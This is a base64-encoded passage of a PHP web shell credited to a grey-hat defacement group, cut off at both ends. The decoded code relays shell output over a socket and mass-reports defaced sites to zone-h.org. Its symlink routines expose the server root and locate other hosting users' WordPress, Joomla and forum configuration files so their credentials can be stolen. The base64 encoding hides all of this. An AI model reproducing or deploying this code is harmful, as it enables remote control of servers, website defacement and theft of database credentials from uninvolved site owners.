Sk7CiAgICAgICAgICAgICAgICBpZiAoJGRlYnVnKSBlY2hvICJTVERPVVQ6ICRpbnB1dDxicj4iOwogICAgICAgICAgICAgICAgZndyaXRlKCRzb2NrLCAkaW5wdXQpOwogICAgICAgIH0KCiAgICAgICAgCiAgICAgICAgaWYgKGluX2FycmF5KCRwaXBlc1syXSwgJHJlYWRfYSkpIHsKICAgICAgICAgICAgICAgIGlmICgkZGVidWcpIGVjaG8gIlNUREVSUiBSRUFEPGJyPiI7CiAgICAgICAgICAgICAgICAkaW5wdXQgPSBmcmVhZCgkcGlwZXNbMl0sICRjaHVua19zaXplKTsKICAgICAgICAgICAgICAgIGlmICgkZGVidWcpIGVjaG8gIlNUREVSUjogJGlucHV0PGJyPiI7CiAgICAgICAgICAgICAgICBmd3JpdGUoJHNvY2ssICRpbnB1dCk7CiAgICAgICAgfQp9CgpmY2xvc2UoJHNvY2spOwpmY2xvc2UoJHBpcGVzWzBdKTsKZmNsb3NlKCRwaXBlc1sxXSk7CmZjbG9zZSgkcGlwZXNbMl0pOwpwcm9jX2Nsb3NlKCRwcm9jZXNzKTsKCmVjaG8gIjwvcHJlPiI7Cn0KCn0gICAKIGVjaG8gIjwvZGl2PiI7CiBtYWRmb290ZXIoKTsKfQpmdW5jdGlvbiBab25lSCgkdXJsLCAkaGFja2VyLCAkaGFja21vZGUsJHJlc29uLCAkc2l0ZSApCnsKICAgICAgICAkayA9IGN1cmxfaW5pdCgpOwogICAgICAgIGN1cmxfc2V0b3B0KCRrLCBDVVJMT1BUX1VSTCwgJHVybCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGssQ1VSTE9QVF9QT1NULHRydWUpOwogICAgICAgIGN1cmxfc2V0b3B0KCRrLCBDVVJMT1BUX1BPU1RGSUVMRFMsImRlZmFjZXI9Ii4kaGFja2VyLiImZG9tYWluMT0iLiAkc2l0ZS4iJmhhY2ttb2RlPSIuJGhhY2ttb2RlLiImcmVhc29uPSIuJHJlc29uKTsKICAgICAgICBjdXJsX3NldG9wdCgkayxDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCB0cnVlKTsKICAgICAgICBjdXJsX3NldG9wdCgkaywgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7CiAgICAgICAgJGt1YnJhID0gY3VybF9leGVjKCRrKTsKICAgICAgICBjdXJsX2Nsb3NlKCRrKTsKICAgICAgICByZXR1cm4gJGt1YnJhOwp9CmZ1bmN0aW9uIG1hZHpvbmVoKCkKewogICAgbWFkaGVhZCgpOwogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykpCiAgICB7CiAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz48Y2VudGVyPjxmb250IGNvbG9yPXJlZD5QSFAgQ1VSTCBOT1QgRVhJVDwvZm9udD48L2NlbnRlcj48L3ByZT4iOwogICAgfQogICAgZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48YnI+IjsKICAgIGVjaG8gJzxoMz48c3Bhbj58Wm9uZS1IIE1hc3MgTWlycm9yIFBvc3RlciBCeSBUaGUgSGF0bGVzcyBIYXhvciB8PC9zcGFuPjwvaDM+CiAgICA8Zm9ybSAgb25TdWJtaXQ9ImcobnVsbCxudWxsLHRoaXMuZGVmYWNlci52YWx1ZSx0aGlzLmhhY2ttb2RlLnZhbHVlLHRoaXMuZG9tYWluLnZhbHVlKTtyZXR1cm4gZmFsc2U7IiA+CiAgICA8c3Bhbj58IE5vdGlmaWVyIHw8L3NwYW4+PGJyPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT1kZWZhY2VyIHNpemU9IjQwIiB2YWx1ZT0iQkQgR1JFWSBIQVQgSEFDS0VSUyIgLz48YnI+CjxzZWxlY3QgbmFtZT1oYWNrbW9kZT4KPG9wdGlvbiA+LS0tLS0tLS1TRUxFQ1QtLS0tLS0tLTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxIj5rbm93biB2dWxuZXJhYmlsaXR5IChpLmUuIHVucGF0Y2hlZCBzeXN0ZW0pPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIiID51bmRpc2Nsb3NlZCAobmV3KSB2dWxuZXJhYmlsaXR5PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjMiID5jb25maWd1cmF0aW9uIC8gYWRtaW4uIG1pc3Rha2U8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNCIgPmJydXRlIGZvcmNlIGF0dGFjazwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI1IiA+c29jaWFsIGVuZ2luZWVyaW5nPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjYiID5XZWIgU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI3IiA+V2ViIFNlcnZlciBleHRlcm5hbCBtb2R1bGUgaW50cnVzaW9uPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjgiID5NYWlsIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iOSIgPkZUUCBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEwIiA+U1NIIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTEiID5UZWxuZXQgU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxMiIgPlJQQyBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEzIiA+U2hhcmVzIG1pc2NvbmZpZ3VyYXRpb248L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTQiID5PdGhlciBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE1IiA+U1FMIEluamVjdGlvbjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxNiIgPlVSTCBQb2lzb25pbmc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTciID5GaWxlIEluY2x1c2lvbjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxOCIgPk90aGVyIFdlYiBBcHBsaWNhdGlvbiBidWc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTkiID5SZW1vdGUgYWRtaW5pc3RyYXRpdmUgcGFuZWwgYWNjZXNzIGJydXRlZm9yY2luZzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMCIgPlJlbW90ZSBhZG1pbmlzdHJhdGl2ZSBwYW5lbCBhY2Nlc3MgcGFzc3dvcmQgZ3Vlc3Npbmc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjEiID5SZW1vdGUgYWRtaW5pc3RyYXRpdmUgcGFuZWwgYWNjZXNzIHNvY2lhbCBlbmdpbmVlcmluZzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMiIgPkF0dGFjayBhZ2FpbnN0IGFkbWluaXN0cmF0b3IocGFzc3dvcmQgc3RlYWxpbmcvc25pZmZpbmcpPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIzIiA+QWNjZXNzIGNyZWRlbnRpYWxzIHRocm91Z2ggTWFuIEluIHRoZSBNaWRkbGUgYXR0YWNrPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI0IiA+UmVtb3RlIHNlcnZpY2UgcGFzc3dvcmQgZ3Vlc3Npbmc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjUiID5SZW1vdGUgc2VydmljZSBwYXNzd29yZCBicnV0ZWZvcmNlPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI2IiA+UmVyb3V0aW5nIGFmdGVyIGF0dGFja2luZyB0aGUgRmlyZXdhbGw8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjciID5SZXJvdXRpbmcgYWZ0ZXIgYXR0YWNraW5nIHRoZSBSb3V0ZXI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjgiID5ETlMgYXR0YWNrIHRocm91Z2ggc29jaWFsIGVuZ2luZWVyaW5nPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI5IiA+RE5TIGF0dGFjayB0aHJvdWdoIGNhY2hlIHBvaXNvbmluZzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzMCIgPk5vdCBhdmFpbGFibGU8L29wdGlvbj4KPC9zZWxlY3Q+PGJyPgo8c2VsZWN0ICA+CjxvcHRpb24gPk5vdCBhdmFpbGFibGU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMSIgPkhlaC4uLmp1c3QgZm9yIGZ1biE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMiIgPlJldmVuZ2UgYWdhaW5zdCB0aGF0IHdlYnNpdGU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMyIgPlBvbGl0aWNhbCByZWFzb25zPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQiID5BcyBhIGNoYWxsZW5nZTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI1IiA+SSBqdXN0IHdhbnQgdG8gYmUgdGhlIGJlc3QgZGVmYWNlcjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI2IiA+UGF0cmlvdGlzbTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI3IiA+Tm90IGF2YWlsYWJsZTwvb3B0aW9uPgo8L3NlbGVjdD48YnI+Cjx0ZXh0YXJlYSBuYW1lPWRvbWFpbiBjb2xzPSI1MCIgcm93cz0iMTUiPlBhc3RlIERvbWFpbiBMaXN0IEhlcmU8L3RleHRhcmVhPgo8YnI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSI+PiIgLz48L2Zvcm0+JzsKaWYoaXNzZXQoJF9QT1NUWydwMSddKSAmJiBpc3NldCgkX1BPU1RbJ3AyJ10pKQp7CiAgICAkaGFja2VyID0kX1BPU1RbJ3AxJ107CiAgICAkbWV0aG9kID0kX1BPU1RbJ3AyJ107CiAgICAkbmVkZW4gPSJOb3QgYXZhaWxhYmxlIjsKICAgICRzaXRlID0kX1BPU1RbJ3AzJ107CiAgICRpID0gMDsKICAgJHNpdGVzID0gZXhwbG9kZSgiXG4iLCAkc2l0ZSk7CiAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+IjsKICAgICAgICB3aGlsZSgkaSA8IGNvdW50KCRzaXRlcykpIAogICAgICAgIHsKICAgICAgICBpZihzdWJzdHIoJHNpdGVzWyRpXSwgMCwgNCkgIT0gImh0dHAiKSAKICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzaXRlc1skaV0gPSAiaHR0cDovLyIuJHNpdGVzWyRpXTsKICAgICAgICB9CiAgICAgICAgWm9uZUgoImh0dHA6Ly96b25lLWgub3JnL25vdGlmeS9zaW5nbGUiLCAkaGFja2VyLCAkbWV0aG9kLCAkbmVkZW4sICRzaXRlc1skaV0pOwogICAgICAgIGVjaG8gIlNpdGUgOiAiLiRzaXRlc1skaV0uIiBEZWZhY2VkICE8YnI+IjsKICAgICAgICArKyRpOwogICAgICAgIH0KICAgICAKICAgICJTaXRlcyBIYXMgQmVlbiBQb3N0ZWQgb24gWm9uZS1IIFN1Y2Nlc3NmdWxseSAhISA8L3ByZT4iOwp9CmVjaG8gIjwvZGl2PiI7Cm1hZGZvb3RlcigpOwogICAgCn0KZnVuY3Rpb24gbWFkc3BvdCgpCnsKICAgIG1hZGhlYWQoKTsKICAgIGVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPiI7CiAgICBlY2hvICI8cHJlPgo8Y2VudGVyPk1vZGlmaWQgQnkgPGJyPgpUaGUgSGF0bGVzcyBIYXhvcjxicj4KPGI+SWYgRm91bmQgQW55IEJ1ZyBQbHp6IENvbnRhY3QgVXM8L2I+PGJyPgpPdXIgRmFuIFBhZ2U8YnI+CjxiPmh0dHBzOi8vd3d3LmZhY2Vib29rLmNvbS9iZGdyZXloaDxiPgpPdXIgRkIgR3JvdXA8YnI+Cmh0dHBzOi8vd3d3LmZhY2Vib29rLmNvbS9ncm91cHMvYmdoaC5jb21tdW5pdHkvPC9jZW50ZXI+PGJyPgo8Y2VudGVyPiAgX19fX18gICBfICAgXyAgIF9fX19fICAgICAgICBfICAgXyAgICAgICBfX18gICBfX19fXyAgIF8gICAgICAgX19fX18gICBfX19fXyAgIF9fX19fICAgICAgICBfICAgXyAgICAgICBfX18gIF9fICAgIF9fICBfX19fXyAgIF9fX19fICAgCiAgfF8gICBffCB8IHwgfCB8IHwgX19fX3wgICAgICB8IHwgfCB8ICAgICAvICAgfCB8XyAgIF98IHwgfCAgICAgfCBfX19ffCAvICBfX18vIC8gIF9fXy8gICAgICB8IHwgfCB8ICAgICAvICAgfCBcIFwgIC8gLyAvICBfICBcIHwgIF8gIFwgIAogICAgfCB8ICAgfCB8X3wgfCB8IHxfXyAgICAgICAgfCB8X3wgfCAgICAvIC98IHwgICB8IHwgICB8IHwgICAgIHwgfF9fICAgfCB8X19fICB8IHxfX18gICAgICAgfCB8X3wgfCAgICAvIC98IHwgIFwgXC8gLyAgfCB8IHwgfCB8IHxffCB8ICAKICAgIHwgfCAgIHwgIF8gIHwgfCAgX198ICAgICAgIHwgIF8gIHwgICAvIC8gfCB8ICAgfCB8ICAgfCB8ICAgICB8ICBfX3wgIFxfX18gIFwgXF9fXyAgXCAgICAgIHwgIF8gIHwgICAvIC8gfCB8ICAgfSAgeyAgIHwgfCB8IHwgfCAgXyAgLyAgCiAgICB8IHwgICB8IHwgfCB8IHwgfF9fXyAgICAgICB8IHwgfCB8ICAvIC8gIHwgfCAgIHwgfCAgIHwgfF9fXyAgfCB8X19fICAgX19ffCB8ICBfX198IHwgICAgICB8IHwgfCB8ICAvIC8gIHwgfCAgLyAvXCBcICB8IHxffCB8IHwgfCBcIFwgIAogICAgfF98ICAgfF98IHxffCB8X19fX198ICAgICAgfF98IHxffCAvXy8gICB8X3wgICB8X3wgICB8X19fX198IHxfX19fX3wgL19fX19fLyAvX19fX18vICAgICAgfF98IHxffCAvXy8gICB8X3wgL18vICBcX1wgXF9fX19fLyB8X3wgIFxfXCA8L2NlbnRlcj4KICAgIDwvcHJlPjwvZGl2PiI7CiAgICBtYWRmb290ZXIoKTsKICAgIAogICAgfQogICAgCmZ1bmN0aW9uIG1hZHN5bWxpbmsoKQp7CiAgICBtYWRoZWFkKCk7CiAgICAKJElJSUlJSUlJSUlJbCA9ICdodHRwOi8vJy4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKJElJSUlJSUlJSUlJMT1leHBsb2RlKCcvJywkSUlJSUlJSUlJSUlsICk7CiRJSUlJSUlJSUlJSWwgPXN0cl9yZXBsYWNlKCRJSUlJSUlJSUlJSTFbY291bnQoJElJSUlJSUlJSUlJMSktMV0sJycsJElJSUlJSUlJSUlJbCApOyAgCiAgICAKICAgIAogICAgCgogICBlY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48c2NyaXB0PnAxXz1wMl89cDNfPSIiOzwvc2NyaXB0Pjxicj48Y2VudGVyPjxoMz48YSBocmVmPSMgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLFwnd2Vic2l0ZVwnLG51bGwpIj58IERvbWFpbnMgfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxudWxsLFwnd2hvbGVcJykiPnwgV2hvbGUgU2VydmVyIFN5bWxpbmsgfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxudWxsLG51bGwsXCdjb25maWdcJykiPnwgQ29uZmlnIFBIUCBzeW1saW5rIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsKICAgIAogICAgaWYoaXNzZXQoJF9QT1NUWydwMSddKSAmJiAkX1BPU1RbJ3AxJ109PSd3ZWJzaXRlJykKICAgIHsKICAgICAgICBlY2hvICI8Y2VudGVyPiI7CiAgICAgICAgJGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7CiAgICAgICAgaWYoISRkMG1haW5zKXsgZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz5DYW50IGFjY2VzcyB0aGlzIGZpbGUgb24gc2VydmVyIC0+IFsgL2V0Yy9uYW1lZC5jb25mIF08L3ByZT48L2NlbnRlcj4iOyB9CgogCgplY2hvICI8dGFibGUgYWxpZ249Y2VudGVyIGNsYXNzPSdtYWluJyAgYm9yZGVyPTAgID4KCjx0ciBiZ2NvbG9yPVJlZD48dGQ+Q291bnQ8L3RkPjx0ZD5kb21haW5zPC90ZD48dGQ+dXNlcnM8L3RkPjwvdHI+IjsKJGNvdW50PTE7CmZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbil7CgppZihAZXJlZ2koInpvbmUiLCRkMG1haW4pKXsKCnByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGQwbWFpbiwgJGRvbWFpbnMpOwoKZmx1c2goKTsKCmlmKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKXsKCiR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRkb21haW5zWzFdWzBdKSk7CgplY2hvICI8dHI+PHRkPiIuJGNvdW50LiI8L3RkPjx0ZD48YSBocmVmPWh0dHA6Ly93d3cuIi4kZG9tYWluc1sxXVswXS4iLz4iLiRkb21haW5zWzFdWzBdLiI8L2E+PC90ZD48dGQ+Ii4kdXNlclsnbmFtZSddLiI8L3RkPjwvdHI+IjsgZmx1c2goKTsKJGNvdW50Kys7Cn19fQplY2hvICI8L2NlbnRlcj48L3RhYmxlPiI7IAogfQogCiBpZihpc3NldCgkX1BPU1RbJ3AyJ10pICYmICRfUE9TVFsncDInXT09J3dob2xlJykKIHsKICAgIAogICAgCiAgICBAc2V0X3RpbWVfbGltaXQoMCk7CiAgICAKICAgIGVjaG8gIjxjZW50ZXI+IjsKICAgIAogIAogICAgICAgIApAbWtkaXIoJ3N5bScsMDc3Nyk7CiRJSUlJSUlJSUlJbDEgID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjsKJElJSUlJSUlJSUkxSSA9QGZvcGVuICgnc3ltLy5odGFjY2VzcycsJ3cnKTsKZndyaXRlKCRJSUlJSUlJSUlJMUkgLCRJSUlJSUlJSUlJbDEpOwpAc3ltbGluaygnLycsJ3N5bS9yb290Jyk7CiRJSUlJSUlJSUlsSWwgPSBiYXNlbmFtZSgnX0ZJTEVfJyk7CiAgICAKICAgIAokSUlJSUlJSUlJbGxJID0gQGZpbGUoJy9ldGMvbmFtZWQuY29uZicpOwppZighJElJSUlJSUlJSWxsSSkKewplY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPiMgQ2FudCBhY2Nlc3MgdGhpcyBmaWxlIG9uIHNlcnZlciAtPiBbIC9ldGMvbmFtZWQuY29uZiBdPC9wcmU+PC9jZW50ZXI+IjsgCn0KZWxzZQp7CmVjaG8gIjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJyBjbGFzcz0nbWFpbic+PHRkPkRvbWFpbnM8L3RkPjx0ZD5Vc2VyczwvdGQ+PHRkPnN5bWxpbmsgPC90ZD4iOwpmb3JlYWNoKCRJSUlJSUlJSUlsbEkgYXMgJElJSUlJSUlJSWxsMSl7CmlmKEBlcmVnaSgnem9uZScsJElJSUlJSUlJSWxsMSkpewpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsJElJSUlJSUlJSWxsMSwkSUlJSUlJSUlJbDExKTsKZmx1c2goKTsKaWYoc3RybGVuKHRyaW0oJElJSUlJSUlJSWwxMVsxXVswXSkpID4yKXsKJElJSUlJSUlJSTFJMSA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJy9ldGMvdmFsaWFzZXMvJy4kSUlJSUlJSUlJbDExWzFdWzBdKSk7CiRJSUlJSUlJSTFJMWwgPSAkSUlJSUlJSUlJMUkxWyduYW1lJ10gOwpAc3ltbGluaygnLycsJ3N5bS9yb290Jyk7CiRJSUlJSUlJSTFJMWwgPSAkSUlJSUlJSUlJbDExWzFdWzBdOwokSUlJSUlJSUkxSTExID0gJ1wuaXInOwokSUlJSUlJSUkxbElJID0gJ1wuaWwnOwppZiAoQGVyZWdpKCIkSUlJSUlJSUkxSTExIiwkSUlJSUlJSUlJbDExWzFdWzBdKSBvciBAZXJlZ2koIiRJSUlJSUlJSTFsSUkiLCRJSUlJSUlJSUlsMTFbMV1bMF0pICkKewokSUlJSUlJSUkxSTFsID0gIjxkaXYgc3R5bGU9JyBjb2xvcjogI0ZGMDAwMCA7IHRleHQtc2hhZG93OiAwcHggMHB4IDFweCByZWQ7ICc+Ii4kSUlJSUlJSUlJbDExWzFdWzBdLic8L2Rpdj4nOwp9CmVjaG8gIgo8dHI+Cgo8dGQ+CjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPWh0dHA6Ly93d3cuIi4kSUlJSUlJSUlJbDExWzFdWzBdLicvPicuJElJSUlJSUlJMUkxbC4nIDwvYT4KPC90ZD4KCjx0ZD4KJy4kSUlJSUlJSUlJMUkxWyduYW1lJ10uIgo8L3RkPgoKPHRkPgo8YSBocmVmPSdzeW0vcm9vdC9ob21lLyIuJElJSUlJSUlJSTFJMVsnbmFtZSddLiIvcHVibGljX2h0bWwnIHRhcmdldD0nX2JsYW5rJz5zeW1saW5rIDwvYT4KPC90ZD4KCgo8L3RyPiI7CmZsdXNoKCk7Cn0KfQp9Cn0KICAgIAplY2hvICI8L2NlbnRlcj48L3RhYmxlPiI7ICAgIAogICAgCiB9CiAKIAogCiBpZihpc3NldCgkX1BPU1RbJ3AzJ10pICYmICRfUE9TVFsncDMnXT09J2NvbmZpZycpCiAKIAogewogIGVjaG8gIjxjZW50ZXI+IjsKQG1rZGlyKCdzeW0nLDA3NzcpOwokSUlJSUlJSUlJSWwxICA9ICJPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCBcbiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCBcbiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7CiRJSUlJSUlJSUlJMUkgPUBmb3BlbiAoJ3N5bS8uaHRhY2Nlc3MnLCd3Jyk7CkBmd3JpdGUoJElJSUlJSUlJSUkxSSAsJElJSUlJSUlJSUlsMSk7CkBzeW1saW5rKCcvJywnc3ltL3Jvb3QnKTsKJElJSUlJSUlJSWxJbCA9IGJhc2VuYW1lKCdfRklMRV8nKTsKICAKICAgCiAgICRJSUlJSUlJSUlsbEkgPSBAZmlsZSgnL2V0Yy9uYW1lZC5jb25mJyk7CmlmKCEkSUlJSUlJSUlJbGxJKQp7CmVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+IyBDYW50IGFjY2VzcyB0aGlzIGZpbGUgb24gc2VydmVyIC0+IFsgL2V0Yy9uYW1lZC5jb25mIF08L3ByZT48L2NlbnRlcj4iOwp9CmVsc2UKewplY2hvICIKPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnIGNsYXNzPSdtYWluJyA+PHRkPiBEb21haW5zIDwvdGQ+PHRkPiBTY3JpcHQgPC90ZD4iOwpmb3JlYWNoKCRJSUlJSUlJSUlsbEkgYXMgJElJSUlJSUlJSWxsMSl7CmlmKEBlcmVnaSgnem9uZScsJElJSUlJSUlJSWxsMSkpewpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsJElJSUlJSUlJSWxsMSwkSUlJSUlJSUlJbDExKTsKZmx1c2goKTsKaWYoc3RybGVuKHRyaW0oJElJSUlJSUlJSWwxMVsxXVswXSkpID4yKXsKJElJSUlJSUlJSTFJMSA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJy9ldGMvdmFsaWFzZXMvJy4kSUlJSUlJSUlJbDExWzFdWzBdKSk7CiRJSUlJSUlJSUkxbDE9JElJSUlJSUlJSUlJbC4nL3N5bS9yb290L2hvbWUvJy4kSUlJSUlJSUlJMUkxWyduYW1lJ10uJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJzsKJElJSUlJSUlJSTExST1nZXRfaGVhZGVycygkSUlJSUlJSUlJMWwxKTsKJElJSUlJSUlJSTExbD0kSUlJSUlJSUlJMTFJWzBdOwokSUlJSUlJSUlJMTExPSRJSUlJSUlJSUlJSWwuJy9zeW0vcm9vdC9ob21lLycuJElJSUlJSUlJSTFJMVsnbmFtZSddLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJzsKJElJSUlJSUlJbElJST1nZXRfaGVhZGVycygkSUlJSUlJSUlJMTExKTsKJElJSUlJSUlJbElJbD0kSUlJSUlJSUlsSUlJWzBdOwokSUlJSUlJSUlsSUkxPSRJSUlJSUlJSUlJSWwuJy9zeW0vcm9vdC9ob21lLycuJElJSUlJSUlJSTFJMVsnbmFtZSddLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnOwokSUlJSUlJSUlsSWxJPWdldF9oZWFkZXJzKCRJSUlJSUlJSWxJSTEpOwokSUlJSUlJSUlsSWxsPSRJSUlJSUlJSWxJbElbMF07CiRJSUlJSUlJSWxJbDE9JElJSUlJSUlJSUlJbC4nL3N5bS9yb290L2hvbWUvJy4kSUlJSUlJSUlJMUkxWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnOwokSUlJSUlJSUlsSTFJPWdldF9oZWFkZXJzKCRJSUlJSUlJSWxJbDEpOwokSUlJSUlJSUlsSTFsPSRJSUlJSUlJSWxJMUlbMF07CiRJSUlJSUlJSWxJMTE9JElJSUlJSUlJSUlJbC4nL3N5bS9yb290L2hvbWUvJy4kSUlJSUlJSUlJMUkxWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJzsKJElJSUlJSUlJbGxJST1nZXRfaGVhZGVycygkSUlJSUlJSUlsSTExKTsKJElJSUlJSUlJbGxJbD0kSUlJSUlJSUlsbElJWzBdOwokSUlJSUlJSUlsbEkxPSRJSUlJSUlJSUlJSWwuJy9zeW0vcm9vdC9ob21lLycuJElJSUlJSUlJSTFJMVsnbmFtZSddLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCc7CiRJSUlJSUlJSWxsbEk9Z2V0X2hlYWRlcnMoJElJSUlJSUlJbGxJMSk7CiRJSUlJSUlJSWxsbGw9JElJSUlJSUlJbGxsSVswXTsKJElJSUlJSUlJbGxsMT0kSUlJSUlJSUlJSUlsLicvc3ltL3Jvb3QvaG9tZS8nLiRJSUlJSUlJSUkxSTFbJ25hbWUnXS4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnOwokSUlJSUlJSUlsbDFJPWdldF9oZWFkZXJzKCRJSUlJSUlJSWxsbDEpOwokSUlJSUlJSUlsbDFsPSRJSUlJSUlJSWxsMUlbMF07CiRJSUlJSUlJSWxsMTE9JElJSUlJSUlJSUlJbC4nL3N5bS9yb290L2hvbWUvJy4kSUlJSUlJSUlJMUkxWyduYW1lJ10uJ3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnOwokSUlJSUlJSUlsMUlJPWdldF9oZWFkZXJzKCRJSUlJSUlJSWxsMTEpOwokSUlJSUlJSUlsMUlsPSRJSUlJSUlJSWwxSUlbMF07CiRJSUlJSUlJSWwxSTE9JElJSUlJSUlJSUlJbC4nL3N5bS9yb290L2hvbWUvJy4kSUlJSUlJSUlJMUkxWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJzsKJElJSUlJSUlJbDFJST1nZXRfaGVhZGVycygkSUlJSUlJSUlsMUkxKTsKJElJSUlJSUlJbDFsST0kSUlJSUlJSUlsMUlJWzBdOwokSUlJSUlJSUlsMWxsPSRJSUlJSUlJSUlJSWwuJy9zeW0vcm9vdC9ob21lLycuJElJSUlJSUlJSTFJMVsnbmFtZSddLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJzsKJElJSUlJSUlJbDFsMT1nZXRfaGVhZGVycygkSUlJSUlJSUlsMWxsKTsKJElJSUlJSUlJbDExST0kSUlJSUlJSUlsMWwxWzBdOwokSUlJSUlJSUlsMTFsPSRJSUlJSUlJSUlJSWwuJy9ze